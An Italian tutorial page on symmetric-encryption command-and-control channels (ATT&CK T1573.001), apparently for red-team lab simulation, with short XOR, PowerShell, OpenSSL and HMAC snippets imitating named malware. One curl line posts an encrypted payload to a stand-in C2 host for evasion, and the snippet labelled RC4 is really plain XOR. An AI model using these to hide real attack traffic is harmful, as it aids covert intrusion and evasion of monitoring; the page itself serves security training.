Crittografia Simmetrica: Encrypted Channel: Symmetric Cryptography (T1573.001)
La crittografia simmetrica rappresenta una delle tecniche più diffuse per nascondere le comunicazioni di comando e controllo nelle operazioni offensive moderne. Questa metodologia sfrutta algoritmi che utilizzano la stessa chiave sia per cifrare che per decifrare i dati, rendendo il traffico illeggibile agli strumenti di monitoraggio tradizionali.
L'implementazione di questa tecnica si manifesta nella tattica TA0011 (Command and Control), posizionandosi nella fase finale della kill chain quando gli attaccanti necessitano di mantenere accesso persistente ai sistemi compromessi. Gli algoritmi più utilizzati includono AES, RC4, XOR personalizzati, 3DES e Blowfish.
I numeri parlano chiaro: 14 gruppi APT documentati utilizzano attivamente questa tecnica, implementata in 159 famiglie di malware diverse e osservata in 4 campagne di alto profilo. Questa diffusione capillare riflette l'efficacia nel bypassare i controlli di sicurezza basati su pattern recognition e deep packet inspection.
Iniziare con implementazioni XOR personalizzate permette di comprendere i fondamenti. Su Linux, creare un semplice encoder XOR:
echo -n "comando_c2" | xxd -p | sed 's/../\\x&/g'
Per simulare il comportamento di Lazarus Group, implementare XOR con operazioni ADD/SUB richiede uno script Python che combini le trasformazioni:
def custom_xor(data, key=0x5a):
return bytes([(b ^ key) + 3 for b in data])
Windows PowerShell offre capacità native per RC4. Replicare il comportamento di malware come BADNEWS diventa:
$bytes = [System.Text.Encoding]::UTF8.GetBytes($command)
$encrypted = $bytes | ForEach-Object { ($_ -bxor 0x23) -band 0xFF }
Per simulazioni AES più sofisticate come quelle di APT33, OpenSSL fornisce implementazioni standard:
openssl enc -aes-256-cbc -in payload.txt -out encrypted.bin -K [chiave_hex] -iv [iv_hex]
L'aspetto critico sta nel testare diverse dimensioni di chiave. Malware come Carbanak usa RC2 in modalità CBC, mentre BRONZE BUTLER alterna tra RC4 per Datper e AES per xxmm. Questa variabilità richiede un approccio modulare nel laboratorio.
Per replicare traffico C2 realistico, combinare encryption con protocolli standard. Cobalt Strike implementa AES-256-CBC con HMAC-SHA-256:
echo -n "beacon_data" | openssl dgst -sha256 -hmac "chiave_segreta"
L'embedding di payload cifrati in richieste HTTP legittime aumenta l'evasione. Testare con curl:
curl -X POST https://c2.example.com/update -H "Content-Type: application/octet-stream" --data-binary @encrypted.bin
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo